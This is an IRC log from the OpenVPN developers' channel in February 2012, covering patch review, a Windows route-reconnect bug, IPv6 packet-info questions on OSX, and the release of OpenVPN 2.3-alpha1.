12:54 <@raidz> I am being nice too 12:54 < ecrist> not moving content, just going to start fresh 12:54 <@raidz> not moving content? 12:54 < ecrist> heh, ok 12:54 < ecrist> no, we're going t lock everything, and leave it up for a year, then delete it 12:55 <@raidz> gotcha 12:55 < ecrist> the new forum will have a completely new URL schema and such 12:55 < ecrist> vB + VBSEO 12:58 <@raidz> sweeet :-) 12:58 <@raidz> I have been working on some seo for private tunnel 12:58 <@raidz> what a pain 14:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:16 -!- swg0101 is now known as swg0101_away 16:39 -!- swg0101_away is now known as swg0101 18:02 -!- swg0101 is now known as swg0101_away 18:22 -!- swg0101_away is now known as swg0101 19:07 -!- raidz is now known as raidz_afk 19:46 -!- swg0101 is now known as swg0101_away 20:06 -!- swg0101_away is now known as swg0101 22:41 -!- swg0101 is now known as swg0101_away 23:10 -!- swg0101_away is now known as swg0101 --- Day changed Thu Feb 23 2012 01:11 <@mattock> hmm, dare I read the latest mails from dazo and alon :D 02:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:49 -!- dazo_afk is now known as dazo 02:54 <@dazo> mattock: I've played nicely in those last mails :) 02:55 <@mattock> yep, I noticed 02:55 <@mattock> it's best not to get (visibly) offended :) 02:55 <@dazo> I hope it's fine with you that I gave James those 72hours to respond regarding kicking out RHEL4 support 02:56 <@mattock> well, RHEL4 is EOL real soon 02:56 <@mattock> and this is 2.3 we're talking about 02:56 <@dazo> it is ... exactly! 02:56 <@dazo> people stuck on RHEL4 can also be stuck on openvpn 2.2 02:56 <@mattock> yep 02:56 <@mattock> or update all the necessary software 02:56 <@mattock> to run openvpn 02:57 <@mattock> any clues if James actually reads the devel mailinglist? 02:57 <@mattock> has he, say, responded to any questions there? 02:57 <@dazo> I think he does ... but very seldom responded 02:57 <@mattock> I recall him sending an email about a security issue there 02:58 <@dazo> yeah, it might be it goes straight to /dev/null regarding to what is sent there 02:58 <@mattock> he might have a filter to send devel mails to a devel folder... where he rarely goes :D 02:58 <@mattock> or that,yes 03:04 <@cron2> development is so overrated *backtolurkmode* 03:17 <@dazo> :-P 03:50 -!- swg0101 is now known as swg0101_away 05:12 -!- Intensity [gqiClL7OSn@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 05:16 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 05:28 <@d12fk> are we acking the alon patches on the list or how is it done? 05:39 <@dazo> d12fk: yeah, I would say so 05:40 <@dazo> I haven't really had time to do anything else than to skim through ... busy at work .... but I'll try to do some today 05:40 <@dazo> I want to pull in all the stuff he deletes (easy-rsa, windows installer and such stuff) 05:52 -!- Intensity [EbMJBwL9Ml@unaffiliated/intensity] has joined #openvpn-devel 06:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:15 < ecrist> ping mattock 09:15 < ecrist> where can I download the windows 2.3-alpha1? 09:18 < ecrist> hrm, it would seem there's not yet a windows installer 09:18 <@cron2> there is, mattock has posted the URL to the -devel list 09:19 * ecrist finds it 09:19 <@cron2> http://build.openvpn.net/downloads/snapshots/openvpn-2.3-alpha1-preview1-install.exe 09:19 < ecrist> yeah 09:19 <@cron2> ah 09:19 <@cron2> that's -preview only 09:19 < ecrist> s'ok 09:19 <@cron2> I think the final installer is still waiting for James' signatures 09:19 < ecrist> the box i'm installing it on is just a test vm 09:22 <@mattock> cron2: that's correct 09:23 <@mattock> I'll remind him of the signatures later today 10:31 -!- swg0101_away is now known as swg0101 10:55 <@mattock> sent mail to James 10:56 <@mattock> I'll poke him in the internal IRC if he does not respond soonish 10:57 -!- raidz_afk is now known as raidz 11:23 -!- swg0101 is now known as swg0101_away 11:38 -!- swg0101_away is now known as swg0101 11:47 -!- dazo is now known as dazo_afk 12:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 14:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:43 -!- swg0101 is now known as swg0101_away 20:24 -!- raidz is now known as raidz_afk 21:31 -!- swg0101_away is now known as swg0101 23:06 -!- swg0101 is now known as swg0101_away 23:42 -!- Intensity [EbMJBwL9Ml@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 23:53 -!- swg0101_away is now known as swg0101 23:54 -!- Intensity [Xpu0zFcFvE@unaffiliated/intensity] has joined #openvpn-devel --- Day changed Fri Feb 24 2012 01:17 -!- Intensity [Xpu0zFcFvE@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 01:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:48 -!- dazo_afk is now known as dazo 01:53 <@mattock> I'll test Alon's msbuild... let's see how it works 02:35 <@mattock> there's now a wiki page describing the use of Alon's buildsystem: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 02:35 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 02:35 <@mattock> easier than going through all the mails with same/similar titles 03:14 <@mattock> www.techweekeurope.co.uk/news/open-source-code-is-cleaner-than-proprietary-says-coverity-62518 03:36 -!- swg0101 is now known as swg0101_away 03:45 <@dazo> mattock: what's your take on Alons stuff ? 05:04 <@mattock> the cross-compile stuff ("generic") is very impressive 05:04 <@mattock> the MSVC build not so, but then again it has the same limitations as all of them... 05:05 <@mattock> e.g. having to play with dependencies manually 05:05 <@mattock> that's hard to fix with any build system 05:06 <@mattock> if the "generic" method works well, I would definitely prefer cross-compiling for Windows on Linux 05:06 <@mattock> I have not yet tried the NSIS integration, which would be very useful 05:07 <@mattock> I'll look into it later 05:08 <@mattock> in a nutshell, I could cross-compile 32- and 64-bit Windows binaries on Linux with 3 commands (install mingw_w64, 05:08 <@mattock> run two build commands) 05:08 <@mattock> as opposed to setting up the Python-based buildsystem up for at least 4 hours 05:08 <@mattock> got to get some lunch now 05:09 <@mattock> the nice thing about the "generic" buildsystem is that it fetches the build dependencies itself (provided the urls are correct) 05:18 <@dazo> sounds really great 06:43 <@mattock> Alon seems to be right in his latest mail 06:43 <@mattock> even with MSVC the build should only take two commands (git clone + build) 06:43 <@mattock> it handles all the dependencies automatically it seems 06:44 <@mattock> Impressive... most impressive 06:58 <@mattock> the new build system also seems to be completely independent from openvpn itself 06:59 <@mattock> in that you can just checkout the buildsystem repo and it fetches openvpn, all the dependencies and builds 08:16 <@andj> btw, now that we're moving towards multiple projects, is a git super repository a good idea? 08:16 <@andj> http://book.git-scm.com/5_submodules.html 08:16 <@vpnHelper> Title: Git Book - Submodules (at book.git-scm.com) 08:18 <@dazo> andj: I've been pondering on that .... I like the idea 08:19 <@andj> I'm looking into it for OpenVPN-NL 08:20 <@andj> to manage the various combinations of PolarSSL/PKCS11-helper/OpenVPN 08:21 <@andj> For OpenVPN it might be a nice way to tag which release of easy-rsa and tun/tap was built for a revision 08:22 <@dazo> hmm ... does it track that? then it really is cooler than I was aware of 08:22 <@andj> I think you can just branch/tag in superprojects if I see it correctly 08:23 <@dazo> it's a while since I used submodules last time ... but I remember recalling this as a good idea for openvpn 08:24 <@dazo> anyway, a signed tag message in the super git repo can have the tag/commitish references for that release 08:24 <@dazo> so it's kind of doable anyway 08:26 <@andj> eactly, that's what I meant 10:30 -!- swg0101_away is now known as swg0101 10:38 -!- Intensity [BEP58NyB9O@unaffiliated/intensity] has joined #openvpn-devel 10:46 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 10:56 < SviMik> hi all. I think I have found a bug. when openvpn loose connection, it does not delete and re-add routes. maybe it is a feature, but if first connection was broken before routes added, it become a bug 10:57 < SviMik> so when it reconnects, it does not add routes 10:58 < SviMik> here is log example: http://svimik.com/ovpn_noroutes.txt 11:00 < SviMik> so I have to manually disconnect, and start it again 11:00 -!- raidz_afk is now known as raidz 11:04 -!- swg0101 is now known as swg0101_away 11:07 < SviMik> should I create a bugreport, or it is known issue? 11:17 <@cron2> SviMik: which version, and what IP version? 11:18 -!- swg0101_away is now known as swg0101 11:18 <@cron2> dazo: you're here? 11:18 <@dazo> cron2: I am 11:19 <@dazo> For me this is a feature ... the tun/tap device exists, so it's normal that the routes does not disappear 11:19 <@dazo> but I'm using --persist-tun in all my setups, though 11:20 <@cron2> dazo: I'm not sure i understand Alon's patches all the way, but can I still use the normal "./configure --prefix=foo ; make" approach? 11:20 <@cron2> the week has been horribly busy, so I haven't been able to keep track with you 11:20 <@dazo> I haven't had too much time either :/ 11:22 <@dazo> I believe the --prefix approach should still be valid ... I would be very surprised if he would break that 11:22 < SviMik> dazo the routes does not disappear. they was not added at all during fist connection attempt. but openvpn does not take into account it 11:22 <@cron2> dazo: more about the generic "configure" thing, since he's using "build"... 11:22 <@cron2> SviMik: how does the connection break? Are you using tcp? 11:22 < SviMik> yes. here is the log: http://svimik.com/ovpn_noroutes.txt 11:23 < SviMik> here you can see version, protocol, etc 11:23 < SviMik> Route: Waiting for TUN/TAP interface to come up... 11:23 < SviMik> Connection reset, restarting [-1] 11:24 <@cron2> argh, windows 11:24 <@cron2> windows interface/route setup will be fundamentally rewritten anyway 11:24 < SviMik> so it did not have time to add routes in first sequence 11:24 <@cron2> (and this shouldn't happen with UDP, which is recommended over TCP) 11:25 <@cron2> as a workaround, it might work if you don't use --persist-tun 11:25 < SviMik> but it forgot this failure, and doest not add routes after second connection attempt 11:25 <@dazo> but why is this happening? Do you know, cron2? 11:25 <@dazo> ahh, then I see ... as it still believes it has added routes, and then ignores doing it 11:26 < SviMik> yes 11:26 <@cron2> dazo: I'm not sure what's happening, but seems the event stuff breaks - it's waiting for the tap interface to become ready, and "not adding the routes yet", and then it remembers "I was in the route-add code already!" 11:26 < SviMik> yes 11:26 <@dazo> I see 11:26 <@dazo> yeah, this is a bug 11:27 <@cron2> it definitely is, but I hope that it will become irrelevant with d12fk's changes 11:27 <@dazo> it might be two bugs .... a) tap interface doesn't get ready ... b) 'routes are set' flag is set too early 11:28 * cron2 thinks "b)", but on windows, all the stuff is happening upside-down, so one would need to look really close, and it might depend on "which variant of route/ifconfig are we using today?" since the WIN32 code has multiple options... 11:29 <@cron2> dazo: while mentioning d12fk: have you committed the X_OK-masking-plus-comment patch? Haven't seen anything on the list, but you and d12fk seemed to agree that it's ok to do so 11:29 <@dazo> no not yet ... I'll apply it, with your comment suggestion 11:29 <@cron2> +1 11:32 * cron2 will look into the IPv6 TUN message, and most likely rip out that whole code path - I think there is no platform left that has no IPv6 support :-) 11:37 <@cron2> mmmh 11:38 <@cron2> there are open_tun_generic() calls for "linux but no <if/tun.h>" (wtf?) and for "#else <none of the listed TARGET_XXX> platforms".... 11:38 * cron2 will just ack dazo's patch :-) 11:39 <@dazo> :) 11:39 <@dazo> btw ... as you seem to be in openvpn mood :) 11:39 <@dazo> can you have a look at the patch from august from Scott Z.... something 11:40 <@cron2> *sigh* sorry 11:40 <@dazo> no worries :) 11:40 * cron2 promises to look RealSoonNow, but tonight I need to do other stuff :-/ and $wife is already making fun of me, sitting before the machine again 11:41 <@dazo> old patches has that tendency :) 11:41 <@dazo> hehehehe .... tell her my wife will probably have full sympathy with her ;-) 11:46 <@cron2> so, ack sent, now going to check on $daughter (fever :( ), feed $wife (not feeling well because of sorrows for $daughter), and then getting some rest 11:46 <@dazo> cron2: have a good weekend then :) 11:47 <@cron2> thanks 12:41 < jamxNL> did you guys notice this patch http://article.gmane.org/gmane.network.openvpn.devel/5591 12:41 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 12:41 < jamxNL> and is it going to be applied? 12:44 < jamxNL> FYI; it's based on http://www.opensource.apple.com/source/network_cmds/network_cmds-307.0.1/rtsol.tproj/rtsol.c 12:44 <@vpnHelper> Title: rtsol.c (at www.opensource.apple.com) 12:54 <@cron2> Is there documentation anywhere what IPV6_PKTINFO does? 12:55 <@cron2> I wonder whether it has the same function as IPV6_RECVPKTINFO (in which case the patch is fine) or just happens to compile, but does something different altogehter... 13:03 <@dazo> I know that JJO moved over to IPV6_RECVPKTINFO, because IPV6_PKTINFO broke the --multihome feature 13:03 <@dazo> so I've Cced JJO and hope he'll join in on that discussion 13:04 < jamxNL> i have no time to dive into it further right now 13:04 < jamxNL> but this might provide extra info 13:04 < jamxNL> https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man4/ip6.4.html 13:04 <@vpnHelper> Title: Loading (at developer.apple.com) 13:05 * dazo wonders where his reply went .... 13:14 <@dazo> jamxNL: here's the reason for my scepticism ... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5d6dbb03776de4d38f45e429ef674313a2bda8cc 13:15 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 13:55 <@cron2> jamxNL: thanks for that link. To me, this looks good 13:56 <@cron2> but indeed, jjo's patch changed PKTINFO to RCVPKTINFO... strange 15:10 -!- dazo is now known as dazo_afk 16:35 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 17:39 -!- swg0101 is now known as swg0101_away 19:04 -!- raidz is now known as raidz_afk --- Day changed Sat Feb 25 2012 00:04 -!- swg0101_away is now known as swg0101 03:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 03:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 05:16 -!- swg0101 is now known as swg0101_away --- Log closed Sat Feb 25 07:42:48 2012 --- Log opened Sun Feb 26 19:34:59 2012 19:34 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 19:34 -!- Irssi: #openvpn-devel: Total of 14 nicks [6 ops, 0 halfops, 0 voices, 8 normal] 19:34 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 19:35 < ecrist> http://www.bsdcan.org/2012/schedule/events/284.en.html 19:35 <@vpnHelper> Title: BSDCan2012: Introduction to OpenVPN (at www.bsdcan.org) 19:35 < ecrist> :D 20:24 -!- swg0101 is now known as swg0101_away 20:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:39 -!- swg0101_away is now known as swg0101 --- Day changed Mon Feb 27 2012 00:12 -!- swg0101 is now known as swg0101_away 01:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:08 -!- swg0101_away is now known as swg0101 02:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 02:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:39 -!- dazo_afk is now known as dazo 02:44 <@dazo> ecrist: cool! I'll even guess cron2 grant you bonus point for adding IPv6 setup in your labs too ;-) 02:58 -!- Intensity [BEP58NyB9O@unaffiliated/intensity] has quit [Read error: No route to host] 03:17 * cron2 is happy :-) 03:17 <@cron2> ecrist: are you publishing a snapshot today? This might be a good basis for updating the openvpn-devel port in openwrt and freebsd 03:18 <@cron2> (version.m4 should be "2.3-alpha1", though) 03:19 <@dazo> version.m4 might be 2.3-alphaX ... as I've pulled in a few more patches 03:20 <@dazo> (windows fixes from d12fk and the IPv6 issue on OSX) 03:20 <@dazo> uhm ... duh ... nope 03:20 <@dazo> just the windows fixes ... the ipv6 issue was in my "to be merged" branch 03:22 <@cron2> any word from jjo? 03:23 <@dazo> nothing :/ 03:24 <@cron2> :( 03:25 <@dazo> what do you think about those definitions ... should we allow to possibly break --multihome on OSX *if* the OSX version don't support the proper IPV6 struct? 03:26 <@cron2> well, in that case, it's "no multihoming" vs. "no openvpn at all" - so that is easily answered :-) 03:27 <@cron2> but from the man page snippet, IPV6_PKTINFO *should* do the right thing... so this is all a bit confusing 03:27 * cron2 had no time to research, unfortunately 03:28 <@dazo> I'm wondering if anyone would complain actually .... I mean, --multihome is for UDP mode on servers basically 03:28 <@cron2> yep 03:29 <@cron2> and this one is only for "multihome in UDP mode on IPv6-enabled servers on OSX", so if we can't get it to work, we can document this as an open caveat 03:30 <@dazo> and it is if you have multiple IP addresses/several NICs in addition too 03:30 <@cron2> yes (but it might come back and bite you if you use "udp6", which does IPv4+IPv6 on one socket, thus: multihoming) 03:31 <@dazo> I'm leaning towards accepting the patch, but maybe adding a msg() with a warning once 03:31 <@dazo> ahh 03:31 <@dazo> good point! 03:31 * dazo got more doubtful again 03:31 <@cron2> someone should just go out and *test* it... :-) 03:31 <@dazo> :) 03:32 <@cron2> configure two ipv6 addresses, setup an udp6 server with --multihome, see if clients can connect to either IPv6 and the IPv4 address - if that works, fine. if not, document... 03:32 <@dazo> yeah ... I'll provide this info on the ML 04:00 -!- swg0101 is now known as swg0101_away 04:19 <@mattock> a fight of wills on openvpn-devel... interesting 04:19 <@cron2> who is fighting? (I'm too busy right now to read this mailbox) 04:21 <@mattock> Alon and Mr Dash Flour 04:21 <@mattock> I called a timeout 04:21 <@cron2> ah, that one :) I saw the thread with lots of mails, and didn't read any :)) 04:25 <@d12fk> mattock: nice kindergardner work there, kudos 04:40 <@dazo> I just realise there is something worse than the autotools issues we're working on now in openvpn .... a project which does not use autotools, cmake or anything like that at all ... just a Makefile 04:41 <@dazo> (for coding, it's probably fine ... but for packaging a project, it's a hassle) 04:49 <@cron2> dazo: can't follow you? 04:50 <@dazo> I'm just packaging imapfilter for Fedora (or rebasing to the lastest release, rather) ... that project doesn't use autotools at all ... so to get things where you need them in this distro, you need to patch Makefile 04:50 <@dazo> instead of just ./configure --prefix=/usr .... and that's it 04:51 <@cron2> ah, ic, that background info was missing 04:51 <@cron2> yeah, mgetty is also one of these bad examples 04:51 <@dazo> in addition to ignoring CFLAGS from env ... and such thing 07:05 < ecrist> morning, folks 07:05 < ecrist> cron2, as soon as signed packages are published on the download pages, I'll update the freebsd port 07:05 < ecrist> I don't release the -alpha or -beta snapshots 07:06 <@cron2> ecrist: I didn't particularily think about "alpha" or "beta" - just the normal weekly snapshot 07:08 < ecrist> heh, the snapshot would have been published, but I had the push to file transfer servers commented out from testing last week 07:08 * ecrist pushes them out 07:15 < ecrist> cron2: pushed out, and signature sent to the mailing list. 07:15 < ecrist> thanks for the reminder. 07:15 <@cron2> thanks :) 07:15 < ecrist> I'll push an update to -devel port, as well 07:15 <@cron2> (the openwrt package uses your tarballs...) 07:16 < ecrist> :D 07:16 < ecrist> AFAIK, pfSense does, as well 07:19 <@cron2> heh :) 07:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 07:33 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:07 < ecrist> dazo: you're such a whiner. 08:08 <@dazo> ecrist: I know! It's what makes me feel alive! :-P 08:08 < ecrist> I replied, but my mail client displays these much better than yours, it seems 08:09 <@dazo> well ... both alpine and thunderbird displays them rather oddish 08:09 <@dazo> (and of course, Enigmail in Thunderbird complains as it can't figure out what to verify 10:26 -!- mordy_ [~mordy@71-80-218-70.dhcp.crcy.nv.charter.com] has left #openvpn-devel [] 10:31 -!- swg0101_away is now known as swg0101 11:05 -!- raidz_afk is now known as raidz 11:08 -!- swg0101 is now known as swg0101_away 11:20 -!- swg0101_away is now known as swg0101 11:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 11:52 * cron2 likes d12fk's response :-) 11:58 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 11:59 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:01 -!- Intensity [KOT6L5A9fK@unaffiliated/intensity] has joined #openvpn-devel 12:15 -!- dazo is now known as dazo_afk 13:31 < ecrist> cron2: the freebsd port has been updated to use 2012-08 14:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:29 <@cron2> cool 16:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: Seeya!] 16:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:18 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:36 * ecrist waves at raidz 18:43 -!- swg0101 is now known as swg0101_away 18:45 -!- swg0101_away is now known as swg0101 19:03 -!- raidz is now known as raidz_afk 19:50 -!- swg0101 is now known as swg0101_away 20:43 -!- swg0101_away is now known as swg0101 23:11 -!- swg0101 is now known as swg0101_away 23:45 -!- swg0101_away is now known as swg0101 --- Day changed Tue Feb 28 2012 03:37 -!- swg0101 is now known as swg0101_away 03:40 -!- dazo_afk is now known as dazo 04:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 04:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:32 <@mattock> we got the 2.3-alpha1 signatures 04:32 <@mattock> I'll verify that the Windows installer is ok and then we can make the release 05:01 <@dazo> nice! 05:06 <@mattock> I'm actually doing some community management now... I'll see how Alon responds to "could you please control your temper" mail 05:06 <@mattock> the episode with Mr Dash Four went way out of hand 05:06 <@mattock> for no good reason 05:07 <@mattock> lunch first... 05:07 <@dazo> yeah ... tricky thing though, but I see the need :) 05:09 <@dazo> I've decided to not pull in much more stuff into the tree yet ... before we see how Alon's stuff develops further .... I see that he really had a much bigger plan than what I could ever imagine ... and the more I see, the more everything makes sense to me 05:09 <@dazo> and I think that if there are things we might not like too much right now ... we can either change that afterwards, with good arguments ... or we'll get used to it 05:09 <@dazo> and if we're really lucky ... maybe even this can make life easier for James as well 05:10 <@dazo> But I'll pull down Alon's trees for the stuff he kicked out ... and prepare sf.net git repos for them 05:43 <@andj> mattock: hope you can talk to him, talking to people that way isn't good... 05:52 <@mattock> andj: yep 05:52 <@mattock> if my hunch of "how to deal with Alon" is correct (we'll see after this mail), I'll let you guys know :P 05:52 <@andj> I'm working on my build system at the moment, trying to make OpenSSL/PolarSSL builds a little easier 05:53 <@andj> and especially switching 06:11 <@mattock> ok, mail sent 06:25 <@mattock> dazo: any ideas when Alon's work can be integrated to "master"? 06:25 <@mattock> he's worried about difficulties in rebasing should new patches come in 06:29 <@mattock> Alon said he's done (a lot of?) work on the patches after sending them on the mailing list 06:29 <@mattock> would it be easier and quicker to review them on GitHub? 07:04 <@dazo> mattock: I'm planning to go through them one by one ... but I don't like the github reviewing, as when/if he decides to close his account or the openvpn fork, all review comments are gone 07:05 <@dazo> with the polarssl stuff, we had the IRC sprint sessions, where we had a summary which went to the mailing list 07:05 <@dazo> for all other patches, we have the mailing list again ... which is mirrored and not easily manipulated 07:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 07:07 <@dazo> wonderful :) 07:17 <@cron2> mmmh 07:17 <@cron2> there might be an interesting bug lurking in iroute-ipv6 if used with a /128 route 07:17 <@cron2> or maybe not 07:17 <@dazo> what happens ... or not? 07:17 * cron2 stares at the code in multi.c and mroute.c and wonders... :-) 07:20 <@cron2> there's weird stuff in there, all this MR_WITH_NETBITS flagging serves only one purpose - prettyprinting in debug output 07:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:20 * dazo resends msgs aimed at mattock :) 07:20 <@dazo> mattock: I'm planning to go through them one by one ... but I don't like the github reviewing, as when/if he decides to close his account or the openvpn fork, all review comments are gone 07:20 <@dazo> with the polarssl stuff, we had the IRC sprint sessions, where we had a summary which went to the mailing list 07:20 <@cron2> ah 07:20 <@dazo> for all other patches, we have the mailing list again ... which is mirrored and not easily manipulated 07:20 <@cron2> the possible-bug cannot be triggered, as netbits can never be negative... \o/ saved 07:21 <@dazo> :) 07:24 <@cron2> OTOH, IPv*4* coud exhibit that bug... 07:24 * cron2 is all confused 07:24 < ecrist> which thread is this one you're referring to, mattock? 07:25 <@cron2> dazo: the weirdness is that if an iroute is configured without a netmask, the "netbits" field in the resulting "struct addr" all the way down in multi_learn_...() is set to "0", which should make it a default route (/0), but some reason, doesn't. 07:25 <@cron2> or if it does, nobody noticed, because nobody uses host-iroutes 07:25 <@dazo> that sounds very much plausible 07:25 <@cron2> on IPv*6*, that condition is never triggered because this "netbits can be < 0 to flag host routes" thing isn't used 07:26 * cron2 needs to go testing 07:26 <@cron2> the mroute.c and multi.c stuff is... advanced magic 07:27 <@dazo> close to the black kind of magic 07:27 <@cron2> too much hashing and advanced data structuring going on... someone with a diploma in computer science needed :-) 07:28 <+krzee> sounds scientific! 07:28 <@mattock> dazo: re: github: good point 07:30 <@mattock> ecrist: http://thread.gmane.org/gmane.network.openvpn.devel/5598 07:30 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:30 < ecrist> danke 07:30 <@mattock> ecrist: now on to the 2.3-alpha1 release... 07:31 <@mattock> ecrist: ole hyvä! :D 07:31 < ecrist> mattock: are the packages pushed to the download server? 07:32 <@mattock> I'll briefly test the windows installer and then copy them there 07:32 <@mattock> max 30 mins 07:33 < ecrist> ok, poke me when they're out and I'll prep the freebsd port 07:39 < ecrist> heh, reading this ml thread, I, too, fall into the 'scum' category for hosting the official snapshots 07:39 < ecrist> FUN FACT: for every download of the openvpn snapshots, I kill two puppies 07:40 <@mattock> good thing you're not killing kittens, though 07:40 <@mattock> :P 07:40 < ecrist> lol 07:40 <@mattock> ok, windows installer seems ok and properly signed, will push the files to the file server 07:40 <@dazo> wohoo! :) 07:45 <+krzee> ooo "mr - 4" ate those words 07:45 <+krzee> "alon's mickey mouse version" 07:46 <@mattock> ecrist: http://swupdate.openvpn.net/community/releases/openvpn-2.3-alpha1.tar.xz 07:46 <@mattock> http://swupdate.openvpn.net/community/releases/openvpn-2.3-alpha1.tar.xz.asc 07:46 * ecrist gets to work 07:47 * krzee hops on the snaposhot mirror and writes a script to loop on downloading snapshots 07:47 <+krzee> puppy genocide 07:48 <@mattock> files also on http://build.openvpn.net/downloads/releases 07:48 <@vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 07:49 < ecrist> krzee: lol. 08:01 < ecrist> PR sent to update openvpn-beta freebsd port 08:15 <@mattock> ok, 2.3-alpha1 is online: http://openvpn.net/index.php/download/community-downloads.html 08:16 <@vpnHelper> Title: Community Downloads (at openvpn.net) 08:24 <@andj> mattock: cool, grats 08:34 <@dazo> \o/ 08:34 <@cron2> \o/ 08:36 <@mattock> it has been done 08:37 <@mattock> only twitter announcement missing, but that'll follow in a few hours when raidz gets to work 08:40 <@mattock> now we can calmly wait for the screams and complaints to start :) 08:53 <+krzee> o/ gj guys! 08:55 <+krzee> oh i have a question re: polarssl (thanx for those vids dazo, they were great)... if 1 side uses polarssl and the other side uses openssl, can they operate with eachother? 08:55 <+krzee> i would assume so since they are using standardized stuffs 08:57 <@dazo> krzee: yes, as long as the --ciphers are the same 08:57 <@dazo> I've tested that already 09:08 <@andj> krzee: indeed, it works 09:08 <@andj> in fact, it's one of my standard tests, to check for the sanity of a build 09:10 <+krzee> ahh right, now that you mention that i think i remember you talking about those tests (well before polarssl was talked about) 09:13 <@andj> These rng patches are making me paranoid 09:21 <@cron2> krzee: well, to be honest, only if the openssl side is specifically configured to use a non-default cipher 09:21 <@cron2> polarssl-openvpn won't talk to default-openssl-openvpn until polar learns blowfish --- Log closed Tue Feb 28 09:23:30 2012 --- Log opened Tue Feb 28 09:43:39 2012 09:43 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:43 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 1 voices, 7 normal] 09:43 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 09:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:06 <@mattock> dazo: this wiki page is now read-only: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 10:06 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 10:06 <@dazo> goodie! 10:30 <@andj> whee, PolarSSL 1.1 support 10:33 -!- swg0101_away is now known as swg0101 10:33 <@andj> darn, just missed your mail about the patch delays 10:58 -!- swg0101 is now known as swg0101_away 10:58 <@dazo> andj: don't worry, it'll get in ... and I'd say alpha2 would be a good step for alon's work, so either we'll get your patch in as part of alpha2 or it'll definitely be in alpha3 11:07 -!- raidz_afk is now known as 